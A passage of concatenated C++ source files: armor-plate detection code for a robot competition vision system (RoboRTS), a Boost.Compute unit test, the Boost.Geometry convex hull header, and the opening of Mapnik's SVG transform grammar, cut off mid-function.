				auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

				if (armor_area > armor_min_area_			// 经验参数
					&& armor_ratio < 4                      // 经验参数 （步兵应该只有3, 英雄可能会到5）
					&& abs(armor_angle) <  20               // 经验参数
					&& armor_light_angle_diff < 20 )
					{
						Armor_Twist armor_twist = LOW_MOVE;
						LINE("[缓慢移动] armor")
						ArmorInfo armor(possible_rect, armor_twist);
						armor_vector.push_back(armor);
					} // get_armor
			}
		// 其中一块略有倾斜

// 慢速移动的情况 Low Move

// 平凡的情况
	// 灯条近乎平行,至少在同一侧
			else if (lights[i].angle * lights[j].angle >= 0          // 灯条近乎同侧 , 或者有一个为0
				     && abs(angle_diff) < 30                           //  light_max_angle_diff_   // 20   // 18   这些都要换成相对值
					// && height_diff < _para.light_max_height_diff      // 20  不需要宽度
					)
			{
				cv::RotatedRect possible_rect;
				// 2灯条近乎平行 中速移动
				if (1 < light_aspect_ratio1 && light_aspect_ratio1 <= 1.5
					&& 1 < light_aspect_ratio2 && light_aspect_ratio2 <= 1.5
					&& abs(light_aspect_ratio1 - light_aspect_ratio2) < 0.5 )
				{
					// 2灯条近乎平行 中速移动
					if (abs(lights[i].angle) > 60 && abs(lights[j].angle) > 60)
					{
						if (lights[i].center.x < lights[j].center.x)
							possible_rect = cv_toolbox_->boundingRRectFast(lights[i], lights[j]);
						else
				    	possible_rect = cv_toolbox_->boundingRRectFast(lights[j], lights[i]);

						auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
						auto armor_angle = possible_rect.angle;
						auto armor_area = possible_rect.size.area();
						auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

						if (armor_area > armor_min_area_
							&& armor_ratio > 1                                       // _para.small_armor_min_ratio   // 1.5
				   			&& armor_ratio < armor_max_aspect_ratio_                 // 3.0
				   			&& abs(armor_angle) < armor_max_angle_
				   			&& armor_light_angle_diff < armor_light_angle_diff_ // 应该要更为严格
						){
							Armor_Twist armor_twist = MID_MOVE;
							LINE("armor同侧,这是中速移动的armor,1-1.5,平躺")
							ArmorInfo armor(possible_rect, armor_twist);
							armor_vector.push_back(armor);
						}
					}// 2灯条近乎平行 中速移动

					// 2灯条近乎平行 慢速移动
					else if (abs(lights[i].angle) < 30 && abs(lights[j].angle) < 30)
					{
						if (lights[i].center.x < lights[j].center.x)
							possible_rect = cv_toolbox_->boundingRRectSlow(lights[i], lights[j]);
						else
				    	possible_rect = cv_toolbox_->boundingRRectSlow(lights[j], lights[i]);

						auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
						auto armor_angle = possible_rect.angle;
						auto armor_area = possible_rect.size.area();
						auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

						if (armor_area > armor_min_area_
							&& armor_ratio > 1                                       // _para.small_armor_min_ratio   // 1.5
				   			&& armor_ratio < armor_max_aspect_ratio_                   // 3.0
				   			&& abs(armor_angle) < armor_max_angle_
				   			&& armor_light_angle_diff < armor_light_angle_diff_ // 应该要更为严格
						){
							Armor_Twist armor_twist = LOW_MOVE;
							LINE("[缓慢移动] armor")
							ArmorInfo armor(possible_rect, armor_twist);
							armor_vector.push_back(armor);
						}
					}// 2灯条近乎平行 慢速移动
				}// 2灯条近乎平行 中速移动

				// 2灯条近乎平行 快速移动
				else if (1 < light_aspect_ratio1 && light_aspect_ratio1 < 2.5
						 && 1 < light_aspect_ratio2 && light_aspect_ratio2 < 2.5
						 && abs(light_aspect_ratio1 - light_aspect_ratio2) < 1)
				{
					// 2灯条近乎平行 快速移动
					if (abs(lights[i].angle) > 60 && abs(lights[j].angle) > 60)
					{
						if (lights[i].center.x < lights[j].center.x)
							possible_rect = cv_toolbox_->boundingRRectFast(lights[i], lights[j]);
						else
				    	possible_rect = cv_toolbox_->boundingRRectFast(lights[j], lights[i]);

						auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
						auto armor_angle = possible_rect.angle;
						auto armor_area = possible_rect.size.area();

						if (armor_area > armor_min_area_
							&& armor_ratio > 1                       // _para.small_armor_min_ratio   // 1.5
				   			&& armor_ratio < armor_max_aspect_ratio_   // 3.0
				   			&& abs(armor_angle) < armor_max_angle_
						){
							Armor_Twist armor_twist = FAST_MOVE;
							LINE("[快速移动] armor")
							ArmorInfo armor(possible_rect, armor_twist);
							armor_vector.push_back(armor);
						}
					} // 2灯条近乎平行 快速移动

					// 2灯条近乎平行 慢速移动
					else if (abs(lights[i].angle) < 30 && abs(lights[j].angle) < 30)
					{
						if (lights[i].center.x < lights[j].center.x)
							possible_rect = cv_toolbox_->boundingRRectSlow(lights[i], lights[j]);
						else
				    	possible_rect = cv_toolbox_->boundingRRectSlow(lights[j], lights[i]);

						auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
						auto armor_angle = possible_rect.angle;
						auto armor_area = possible_rect.size.area();
						auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

						if (armor_area > armor_min_area_
							&& armor_ratio > 1                                       // _para.small_armor_min_ratio   // 1.5
				   			&& armor_ratio < armor_max_aspect_ratio_                   // 3.0
				   			&& abs(armor_angle) < armor_max_angle_
				   			&& armor_light_angle_diff < armor_light_angle_diff_ // 应该要更为严格
						){
							Armor_Twist armor_twist = LOW_MOVE;
							LINE("[缓慢移动] armor")
							ArmorInfo armor(possible_rect, armor_twist);
							armor_vector.push_back(armor);
						}
					}// 2灯条近乎平行 慢速移动
				}// 2灯条近乎平行 快速移动

				else if (light_min_aspect_ratio_ < light_aspect_ratio1    // && light_aspect_ratio1 < _para.light_max_aspect_ratio
						 && light_min_aspect_ratio_ < light_aspect_ratio2 // && light_aspect_ratio2 < _para.light_max_aspect_ratio
						 && (lights[i].center.y + lights[i].size.height / 2) > (lights[j].center.y - lights[j].size.height / 2)
						 && (lights[j].center.y + lights[j].size.height / 2) > (lights[i].center.y - lights[i].size.height / 2)
						 && abs(lights[i].angle) < 30 && abs(lights[j].angle) < 30)
				{
					if (lights[i].center.x < lights[j].center.x)
						possible_rect = cv_toolbox_->boundingRRect(lights[i], lights[j]);
					else
				    possible_rect = cv_toolbox_->boundingRRect(lights[j], lights[i]);

					auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
					auto armor_angle = possible_rect.angle;
					auto armor_area = possible_rect.size.area();
					auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

					if (armor_area > armor_min_area_
						&& armor_ratio > 1                                         // _para.small_armor_min_ratio   // 1.5
				   		&& armor_ratio < 4.5                                       // armor_max_aspect_ratio_   // 3.0
				   		&& abs(armor_angle) < armor_max_angle_
				   		&& armor_light_angle_diff < armor_light_angle_diff_ ) // 应该要更为严格
					{
						LINE_INFO("angle_1",lights[i].angle)
						LINE_INFO("angle_2",lights[j].angle)
						LINE_INFO("angle_diff",angle_diff)
						LINE_INFO("height_diff", height_diff)
						LINE_INFO("width_diff",width_diff)
						LINE_INFO("armor_ratio",armor_ratio)
						LINE_INFO("armor_angle",armor_angle)
						LINE_INFO("armor_light_angle_diff",armor_light_angle_diff)

						Armor_Twist armor_twist = STILL;
						LINE("[几乎静止] armor")
						ArmorInfo armor(possible_rect, armor_twist);
						armor_vector.push_back(armor);
					}
				}
			} // 灯条严格平行

// 灯条(误差) 并不同侧
			else if (abs(angle_diff) < light_max_angle_diff_ )     // 40
			{
				cv::RotatedRect possible_rect;
				// 2灯条 中速移动
				if (1 < light_aspect_ratio1 && light_aspect_ratio1 <= 1.5
					&& 1 < light_aspect_ratio2 && light_aspect_ratio2 <= 1.5
					&& abs(light_aspect_ratio1 - light_aspect_ratio2) < 0.5 )
				{
					// 2灯条不平行 慢速移动
					if (abs(lights[i].angle) < 30 && abs(lights[j].angle) < 30)
					{
						if (lights[i].center.x < lights[j].center.x)
							possible_rect = cv_toolbox_->boundingRRectSlow(lights[i], lights[j]);
						else
				    	possible_rect = cv_toolbox_->boundingRRectSlow(lights[j], lights[i]);

						auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
						auto armor_angle = possible_rect.angle;
						auto armor_area = possible_rect.size.area();
						auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

						if (armor_area > armor_min_area_
							&& armor_ratio > 1  // _para.small_armor_min_ratio   // 1.5
				   			&& armor_ratio < armor_max_aspect_ratio_   // 3.0
				   			&& abs(armor_angle) < armor_max_angle_
				   			&& armor_light_angle_diff < armor_light_angle_diff_ // 应该要更为严格
						)
						{
							Armor_Twist armor_twist = MID_MOVE;
							LINE("armor不同侧, 中速的armor, 竖直")
							ArmorInfo armor(possible_rect, armor_twist);
							armor_vector.push_back(armor);
						}
					}// 2灯条不平行 慢速移动
				}// 2灯条 中速移动

				// 2灯条近乎平行 快速移动
				else if (1 < light_aspect_ratio1 && light_aspect_ratio1 < 2.5
						 && 1 < light_aspect_ratio2 && light_aspect_ratio2 < 2.5
						 && abs(light_aspect_ratio1 - light_aspect_ratio2) < 1)
				{
					if (abs(lights[i].angle) < 30 && abs(lights[j].angle) < 30)
					{
						if (lights[i].center.x < lights[j].center.x)
							possible_rect = cv_toolbox_->boundingRRectSlow(lights[i], lights[j]);
						else
				    	possible_rect = cv_toolbox_->boundingRRectSlow(lights[j], lights[i]);

						auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
						auto armor_angle = possible_rect.angle;
						auto armor_area = possible_rect.size.area();
						auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

						if (armor_area > armor_min_area_
							&& armor_ratio > 1 // _para.small_armor_min_ratio   // 1.5
				   			&& armor_ratio < armor_max_aspect_ratio_   // 3.0
				   			&& abs(armor_angle) < armor_max_angle_
				   			&& armor_light_angle_diff < armor_light_angle_diff_ )// 应该要更为严格
						{
							Armor_Twist armor_twist = LOW_MOVE;
							LINE("[缓慢移动] armor")
							ArmorInfo armor(possible_rect, armor_twist);
							armor_vector.push_back(armor);
						}
					}// 2灯条近乎平行 慢速移动
				}// 2灯条近乎平行 快速移动

				else if (light_min_aspect_ratio_ < light_aspect_ratio1 //&& light_aspect_ratio1 < _para.light_max_aspect_ratio
						 && light_min_aspect_ratio_ < light_aspect_ratio2 //&& light_aspect_ratio2 < _para.light_max_aspect_ratio
						 && (lights[i].center.y + lights[i].size.height / 2) > (lights[j].center.y - lights[j].size.height / 2)
						 && (lights[j].center.y + lights[j].size.height / 2) > (lights[i].center.y - lights[i].size.height / 2))
				{
					if (lights[i].center.x < lights[j].center.x)
						possible_rect = cv_toolbox_->boundingRRect(lights[i], lights[j]);
					else
				    possible_rect = cv_toolbox_->boundingRRect(lights[j], lights[i]);

					auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
					auto armor_angle = possible_rect.angle;
					auto armor_area = possible_rect.size.area();
					auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

					if (armor_area > armor_min_area_
						&& armor_ratio > 1 // _para.small_armor_min_ratio   // 1.5
				   		&& armor_ratio < 4.5 // armor_max_aspect_ratio_   // 3.0
				   		&& abs(armor_angle) < armor_max_angle_
				   		&& armor_light_angle_diff < armor_light_angle_diff_) // 应该要更为严格
					{
						LINE_INFO("angle_1",lights[i].angle)
						LINE_INFO("angle_2",lights[j].angle)
						LINE_INFO("angle_diff",angle_diff)
						LINE_INFO("height_diff", height_diff)
						LINE_INFO("width_diff",width_diff)
						LINE_INFO("armor_ratio",armor_ratio)
						LINE_INFO("armor_angle",armor_angle)
						LINE_INFO("armor_light_angle_diff",armor_light_angle_diff)
						Armor_Twist armor_twist = STILL;
						LINE("[几乎静止] armor")
						ArmorInfo armor(possible_rect, armor_twist);
						armor_vector.push_back(armor);
					}
				}
			} // 灯条(误差) 并不同侧
			else {
				cv::RotatedRect possible_rect;
				// 2灯条不平行 中速移动
				if (1 < light_aspect_ratio1 && light_aspect_ratio1 < 1.5
					&& 1 < light_aspect_ratio2 && light_aspect_ratio2 < 1.5
					&& abs(light_aspect_ratio1 - light_aspect_ratio2) < 0.5 )
				{
					// 2灯条不平行 中速移动
					if (abs(lights[i].angle) > 60 &&  + abs(lights[j].angle) > 60)
					{
						if (lights[i].center.x < lights[j].center.x)
							possible_rect = cv_toolbox_->boundingRRectFast(lights[i], lights[j]);
						else
				    	possible_rect = cv_toolbox_->boundingRRectFast(lights[j], lights[i]);

						auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
						auto armor_angle = possible_rect.angle;
						auto armor_area = possible_rect.size.area();
						//auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

						if (armor_area > armor_min_area_
							&& armor_ratio > 1 // _para.small_armor_min_ratio   // 1.5
				   			&& armor_ratio < armor_max_aspect_ratio_   // 3.0
				   			&& abs(armor_angle) < armor_max_angle_
				   			// && armor_light_angle_diff < armor_light_angle_diff_ // 应该要更为严格
						){
							Armor_Twist armor_twist = MID_MOVE;
							LINE("[中速运动] armor")
							ArmorInfo armor(possible_rect, armor_twist);
							armor_vector.push_back(armor);
						}
					}// 2灯条不平行 中速移动
				}
				else if (1 < light_aspect_ratio1 && light_aspect_ratio1 < 2.5
						 && 1 < light_aspect_ratio2 && light_aspect_ratio2 < 2.5
						 && abs(light_aspect_ratio1 - light_aspect_ratio2) < 1)
				{
					if (abs(lights[i].angle) > 60 && abs(lights[j].angle) > 60)
					{
						if (lights[i].center.x < lights[j].center.x)
							possible_rect = cv_toolbox_->boundingRRectSlow(lights[i], lights[j]);
						else
				    	possible_rect = cv_toolbox_->boundingRRectSlow(lights[j], lights[i]);

						auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
						auto armor_angle = possible_rect.angle;
						auto armor_area = possible_rect.size.area();
						auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

						if (armor_area > armor_min_area_
							&& armor_ratio > 1 // _para.small_armor_min_ratio   // 1.5
				   			&& armor_ratio < armor_max_aspect_ratio_   // 3.0
				   			&& abs(armor_angle) < armor_max_angle_
				   			&& armor_light_angle_diff < armor_light_angle_diff_ // 应该要更为严格
						){
							Armor_Twist armor_twist = LOW_MOVE;
							LINE("[慢速运动] armor")
							ArmorInfo armor(possible_rect, armor_twist);
							armor_vector.push_back(armor);
						}
					}// 2灯条近乎平行 慢速移动
				}// 2灯条近乎平行 快速移动
			}

		} // for j loop
	} // for i loop

  if (enable_debug_)
  {
    for (int i = 0; i != armor_vector.size(); ++i)
      cv_toolbox_->DrawRotatedRect(show_armors_befor_filter_, armor_vector[i].rect, cv::Scalar(0,255,0), 2);
    cv::imshow("armors_before_filter", show_armors_befor_filter_);
  }
}

void ConstraintSet::FilterArmors(std::vector<ArmorInfo> &armors) {
	std::vector<bool> is_armor(armors.size(), true);

	for (int i = 0; i < armors.size(); i++) {
	  for (int j = i + 1; j < armors.size(); j++) {
			int ojbk = cv_toolbox_->armorToarmorTest(armors[i].rect, armors[j].rect);
			if (ojbk == 1) is_armor[i] = false;
			else if(ojbk == 2) is_armor[j] = false;
		}
	}

	double dis;
#pragma omp parallel
  for (int i = 0; i < armors.size(); i++) {
#pragma omp for
    for (int j = i + 1; j < armors.size(); j++) //  && (is_armor[j] == true)
    {
      dis = POINT_DIST(armors.at(i).rect.center,armors.at(j).rect.center);

      if (dis <= std::max(armors.at(i).rect.size.width, armors.at(i).rect.size.height) +
                std::max(armors.at(j).rect.size.width, armors.at(j).rect.size.height) )
      {
        double armor_ratio1 = std::max(armors.at(i).rect.size.width, armors.at(i).rect.size.height) /
                              std::min(armors.at(i).rect.size.width, armors.at(i).rect.size.height);
        double armor_ratio2 = std::max(armors.at(j).rect.size.width, armors.at(j).rect.size.height) /
                              std::min(armors.at(j).rect.size.width, armors.at(j).rect.size.height);

        if (is_armor[i] == true && is_armor[j] == true)
        {
          if (abs(armor_ratio1 - armor_ratio2) > 0.4)
          {
            if(armor_ratio1 - armor_ratio2 > 0)
              is_armor[i] = false;
            else
              is_armor[j] = false;
          }
          else if (abs(abs(armors.at(i).rect.angle) - abs(armors.at(j).rect.angle)) > 15)
          {
            if (abs(armors.at(i).rect.angle) > abs(armors.at(j).rect.angle))
              is_armor[i] = false;
            else
              is_armor[j] = false;
          }
          else if (armors.at(i).rect.size.area() - armors.at(j).rect.size.area() > 100)
          {
            is_armor[i] = false;
          }
          /*else{
            float val_i = get_armor_roi(armors[i].rect);
            float val_j = get_armor_roi(armors[j].rect);

            if(val_i > 0 && val_j < 0)
            {
              is_armor[j] = false;
            }
            else if(val_i < 0 && val_j > 0)
            {
              is_armor[i] = false;
            }
            else {
              is_armor[i] = false;
              is_armor[j] = false;
            }*/
        }// if both
      }    // dis < dist
    }	 		 // for j
  } 			 // for i

	std::vector<ArmorInfo> filter_rects;

	for( int i = 0; i < is_armor.size();++i)
		if(is_armor[i]) filter_rects.push_back(armors[i]);

	armors = filter_rects;

	if (enable_debug_)
  {
    for (int i = 0; i != armors.size(); ++i)
      cv_toolbox_->DrawRotatedRect(show_armors_after_filter_, armors[i].rect, cv::Scalar(0,255,0), 2);
    cv::imshow("armors_after_filter", show_armors_after_filter_);
  }

}

ArmorInfo ConstraintSet::SlectFinalArmor(std::vector<ArmorInfo> &armors) {
  std::sort(armors.begin(),
            armors.end(),
            [](const ArmorInfo &p1, const ArmorInfo &p2) { return p1.rect.size.area() > p2.rect.size.area(); });

  return armors[0];
}

void ConstraintSet::CalcControlInfo(const ArmorInfo & armor, cv::Point3f &target_3d) {

}

void ConstraintSet::CalcArmorInfo(std::vector<cv::Point2f> &armor_points,
                                 cv::RotatedRect left_light,
                                 cv::RotatedRect right_light) {
  cv::Point2f left_points[4], right_points[4];
  left_light.points(left_points);
  right_light.points(right_points);

  cv::Point2f right_lu, right_ld, lift_ru, lift_rd;
  std::sort(left_points, left_points + 4, [](const cv::Point2f &p1, const cv::Point2f &p2) { return p1.x < p2.x; });
  std::sort(right_points, right_points + 4, [](const cv::Point2f &p1, const cv::Point2f &p2) { return p1.x < p2.x; });
  if (right_points[0].y < right_points[1].y) {
    right_lu = right_points[0];
    right_ld = right_points[1];
  } else {
    right_lu = right_points[1];
    right_ld = right_points[0];
  }

  if (left_points[2].y < left_points[3].y) {
    lift_ru = left_points[2];
    lift_rd = left_points[3];
  } else {
    lift_ru = left_points[3];
    lift_rd = left_points[2];
  }
  armor_points.push_back(lift_ru);
  armor_points.push_back(right_lu);
  armor_points.push_back(right_ld);
  armor_points.push_back(lift_rd);

}

void ConstraintSet::SolveArmorCoordinate(const float width, const float height)
{
	target_width_  = width;
	target_height_ = height;
  target_points_3d_.emplace_back(cv::Point3f(-width/2, height/2,  0.0));
  target_points_3d_.emplace_back(cv::Point3f(width/2,  height/2,  0.0));
  target_points_3d_.emplace_back(cv::Point3f(width/2,  -height/2, 0.0));
  target_points_3d_.emplace_back(cv::Point3f(-width/2, -height/2, 0.0));
}

void ConstraintSet::SignalFilter(double &new_num, double &old_num, unsigned int &filter_count, double max_diff) {
  if(fabs(new_num - old_num) > max_diff && filter_count < 2) {
    filter_count++;
    new_num += max_diff;
  } else {
    filter_count = 0;
    old_num = new_num;
  }
}

void ConstraintSet::SetThreadState(bool thread_state) {
  thread_running_ = thread_state;
}

ConstraintSet::~ConstraintSet() {

}
} //namespace roborts_detection


//---------------------------------------------------------------------------//
// Copyright (c) 2013-2014 Kyle Lutz <kyle.r.lutz@gmail.com>
//
// Distributed under the Boost Software License, Version 1.0
// See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt
//
// See http://kylelutz.github.com/compute for more information.
//---------------------------------------------------------------------------//

#define BOOST_TEST_MODULE TestFunctionalIdentity
#include <boost/test/unit_test.hpp>

#include <boost/compute/system.hpp>
#include <boost/compute/algorithm/transform.hpp>
#include <boost/compute/container/vector.hpp>
#include <boost/compute/functional/identity.hpp>

#include "check_macros.hpp"
#include "context_setup.hpp"

namespace compute = boost::compute;

BOOST_AUTO_TEST_CASE(copy_with_identity_transform)
{
    int data[] = { 1, 2, 3, 4, 5, 6, 7, 8 };
    compute::vector<int> input(data, data + 8, queue);
    compute::vector<int> output(8, context);

    compute::transform(
        input.begin(), input.end(), output.begin(), compute::identity<int>(), queue
    );

    CHECK_RANGE_EQUAL(
        int, 8, output, (1, 2, 3, 4, 5, 6, 7, 8)
    );
}

BOOST_AUTO_TEST_SUITE_END()


// Boost.Geometry (aka GGL, Generic Geometry Library)

// Copyright (c) 2007-2012 Barend Gehrels, Amsterdam, the Netherlands.
// Copyright (c) 2008-2012 Bruno Lalande, Paris, France.
// Copyright (c) 2009-2012 Mateusz Loskot, London, UK.

// Parts of Boost.Geometry are redesigned from Geodan's Geographic Library
// (geolib/GGL), copyright (c) 1995-2010 Geodan, Amsterdam, the Netherlands.

// Use, modification and distribution is subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)

#ifndef BOOST_GEOMETRY_ALGORITHMS_CONVEX_HULL_HPP
#define BOOST_GEOMETRY_ALGORITHMS_CONVEX_HULL_HPP

#include <boost/array.hpp>

#include <boost/geometry/core/cs.hpp>
#include <boost/geometry/core/point_order.hpp>
#include <boost/geometry/core/exterior_ring.hpp>

#include <boost/geometry/geometries/concepts/check.hpp>

#include <boost/geometry/strategies/convex_hull.hpp>
#include <boost/geometry/strategies/concepts/convex_hull_concept.hpp>

#include <boost/geometry/views/detail/range_type.hpp>

#include <boost/geometry/algorithms/num_points.hpp>
#include <boost/geometry/algorithms/detail/as_range.hpp>
#include <boost/geometry/algorithms/detail/assign_box_corners.hpp>

namespace boost { namespace geometry
{

#ifndef DOXYGEN_NO_DETAIL
namespace detail { namespace convex_hull
{

template <order_selector Order>
struct hull_insert
{

    // Member template function (to avoid inconvenient declaration
    // of output-iterator-type, from hull_to_geometry)
    template <typename Geometry, typename OutputIterator, typename Strategy>
    static inline OutputIterator apply(Geometry const& geometry,
            OutputIterator out, Strategy const& strategy)
    {
        typename Strategy::state_type state;

        strategy.apply(geometry, state);
        strategy.result(state, out, Order == clockwise);
        return out;
    }
};

struct hull_to_geometry
{
    template <typename Geometry, typename OutputGeometry, typename Strategy>
    static inline void apply(Geometry const& geometry, OutputGeometry& out,
            Strategy const& strategy)
    {
        hull_insert
            <
                geometry::point_order<OutputGeometry>::value
            >::apply(geometry,
                std::back_inserter(
                    // Handle linestring, ring and polygon the same:
                    detail::as_range
                        <
                            typename range_type<OutputGeometry>::type
                        >(out)), strategy);
    }
};

// Helper metafunction for default strategy retrieval
template <typename Geometry>
struct default_strategy
    : strategy_convex_hull
          <
              Geometry,
              typename point_type<Geometry>::type
          >
{};

}} // namespace detail::convex_hull
#endif // DOXYGEN_NO_DETAIL

#ifndef DOXYGEN_NO_DISPATCH
namespace dispatch
{

template
<
    typename Geometry,
    typename Tag = typename tag<Geometry>::type
>
struct convex_hull
    : detail::convex_hull::hull_to_geometry
{};

template <typename Box>
struct convex_hull<Box, box_tag>
{
    template <typename OutputGeometry, typename Strategy>
    static inline void apply(Box const& box, OutputGeometry& out,
            Strategy const& )
    {
        static bool const Close
            = geometry::closure<OutputGeometry>::value == closed;
        static bool const Reverse
            = geometry::point_order<OutputGeometry>::value == counterclockwise;

        // A hull for boxes is trivial. Any strategy is (currently) skipped.
        boost::array<typename point_type<Box>::type, 4> range;
        geometry::detail::assign_box_corners_oriented<Reverse>(box, range);
        geometry::append(out, range);
        if (Close)
        {
            geometry::append(out, *boost::begin(range));
        }
    }
};

template <order_selector Order>
struct convex_hull_insert
    : detail::convex_hull::hull_insert<Order>
{};

} // namespace dispatch
#endif // DOXYGEN_NO_DISPATCH

template<typename Geometry, typename OutputGeometry, typename Strategy>
inline void convex_hull(Geometry const& geometry,
            OutputGeometry& out, Strategy const& strategy)
{
    concept::check_concepts_and_equal_dimensions
        <
            const Geometry,
            OutputGeometry
        >();

    BOOST_CONCEPT_ASSERT( (geometry::concept::ConvexHullStrategy<Strategy>) );

    if (geometry::num_points(geometry) == 0)
    {
        // Leave output empty
        return;
    }

    dispatch::convex_hull<Geometry>::apply(geometry, out, strategy);
}

/*!
\brief \brief_calc{convex hull}
\ingroup convex_hull
\details \details_calc{convex_hull,convex hull}.
\tparam Geometry1 \tparam_geometry
\tparam Geometry2 \tparam_geometry
\param geometry \param_geometry,  input geometry
\param hull \param_geometry \param_set{convex hull}

\qbk{[include reference/algorithms/convex_hull.qbk]}
 */
template<typename Geometry, typename OutputGeometry>
inline void convex_hull(Geometry const& geometry,
            OutputGeometry& hull)
{
    concept::check_concepts_and_equal_dimensions
        <
            const Geometry,
            OutputGeometry
        >();

    typedef typename detail::convex_hull::default_strategy<Geometry>::type strategy_type;

    convex_hull(geometry, hull, strategy_type());
}

#ifndef DOXYGEN_NO_DETAIL
namespace detail { namespace convex_hull
{

template<typename Geometry, typename OutputIterator, typename Strategy>
inline OutputIterator convex_hull_insert(Geometry const& geometry,
            OutputIterator out, Strategy const& strategy)
{
    // Concept: output point type = point type of input geometry
    concept::check<Geometry const>();
    concept::check<typename point_type<Geometry>::type>();

    BOOST_CONCEPT_ASSERT( (geometry::concept::ConvexHullStrategy<Strategy>) );

    return dispatch::convex_hull_insert
        <
            geometry::point_order<Geometry>::value
        >::apply(geometry, out, strategy);
}

/*!
\brief Calculate the convex hull of a geometry, output-iterator version
\ingroup convex_hull
\tparam Geometry the input geometry type
\tparam OutputIterator: an output-iterator
\param geometry the geometry to calculate convex hull from
\param out an output iterator outputing points of the convex hull
\note This overloaded version outputs to an output iterator.
In this case, nothing is known about its point-type or
    about its clockwise order. Therefore, the input point-type
    and order are copied

 */
template<typename Geometry, typename OutputIterator>
inline OutputIterator convex_hull_insert(Geometry const& geometry,
            OutputIterator out)
{
    // Concept: output point type = point type of input geometry
    concept::check<Geometry const>();
    concept::check<typename point_type<Geometry>::type>();

    typedef typename detail::convex_hull::default_strategy<Geometry>::type strategy_type;

    return convex_hull_insert(geometry, out, strategy_type());
}

}} // namespace detail::convex_hull
#endif // DOXYGEN_NO_DETAIL

}} // namespace boost::geometry

#endif // BOOST_GEOMETRY_ALGORITHMS_CONVEX_HULL_HPP


/*****************************************************************************
 *
 * This file is part of Mapnik (c++ mapping toolkit)
 *
 * Copyright (C) 2015 Artem Pavlenko
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 *
 *****************************************************************************/

// NOTE: This is an implementation header file and is only meant to be included
//    from implementation files. It therefore doesn't have an include guard.
// mapnik
#include <mapnik/svg/svg_transform_grammar.hpp>

#pragma GCC diagnostic push
#include <mapnik/warning_ignore.hpp>
#include <boost/spirit/include/phoenix_function.hpp>
#include <boost/spirit/include/phoenix_core.hpp>
#include <boost/spirit/include/phoenix_operator.hpp>
#include <boost/spirit/include/phoenix_object.hpp>
#pragma GCC diagnostic pop

#pragma GCC diagnostic push
#include <mapnik/warning_ignore_agg.hpp>
#include <agg_trans_affine.h>
#pragma GCC diagnostic pop

namespace mapnik { namespace svg {

using namespace boost::spirit;
using namespace boost::fusion;
using namespace boost::phoenix;

inline double deg2rad(double d)
{
    return M_PI * d / 180.0;
}

struct process_matrix
{
    using result_type = void;
    template <typename TransformType>
    void operator () (TransformType & tr, double a, double b, double c, double d, double e, double f) const
    {
        tr = agg::trans_affine(a,b,c,d,e,f) * tr;
    }
};

struct process_rotate
{
    using result_type = void;

    template <typename TransformType, typename T0,typename T1,typename T2>
    void operator () (TransformType & tr, T0 a, T1 cx, T2 cy) const
    {
        if (cx == 0.0 && cy == 0.0)
        {
            tr = agg::trans_affine_rotation(deg2rad(a)) * tr;
        }
        else
        {
            agg::trans_affine t = agg::trans_affine_translation(-cx,-cy);
            t *= agg::trans_affine_rotation(deg2rad(a));
            t *= agg::trans_affine_translation(cx, cy);
            tr = t * tr;
        }
    }
};

struct process_translate
{
    using result_type = void;
    template <typename TransformType, typename T0,typename T1>
    void operator () (TransformType & tr, T0 tx, T1 ty) const
    {
        if (ty) tr = agg::trans_affine_translation(tx,*ty) * tr;
        else tr = agg::trans_affine_translation(tx,0.0) * tr;
    }
};

struct process_scale
{
    using result_type = void;
    template <typename TransformType, typename T0,typename T1>
    void operator () (TransformType & tr, T0 sx, T1 sy) const
    {
        if (sy) tr = agg::trans_affine_scaling(sx,*sy) * tr;
        else tr = agg::trans_affine_scaling(sx,sx) * tr;
    }
};

struct process_skew
{
    using result_type = void;

    template <typename TransformType, typename T0,typename T1>
    void operator () (TransformType & tr, T0 skew_x, T1 skew_y) const
    {
        tr = agg::trans_affine_skewing(deg2rad(skew_x),deg2rad(skew_y)) * tr;
    }
};

template <typename Iterator, typename TransformType, typename SkipType>
svg_transform_grammar<Iterator, TransformType, SkipType>::svg_transform_grammar()
    : svg_transform_grammar::base_type(start)
{
    qi::_1_type _1;
    qi::_2_type _2;
    qi::_3_type _3;
    qi::_4_type _4;
    qi::_5_type _5;
    qi::_6_type _6;
    qi::_a_type _a;
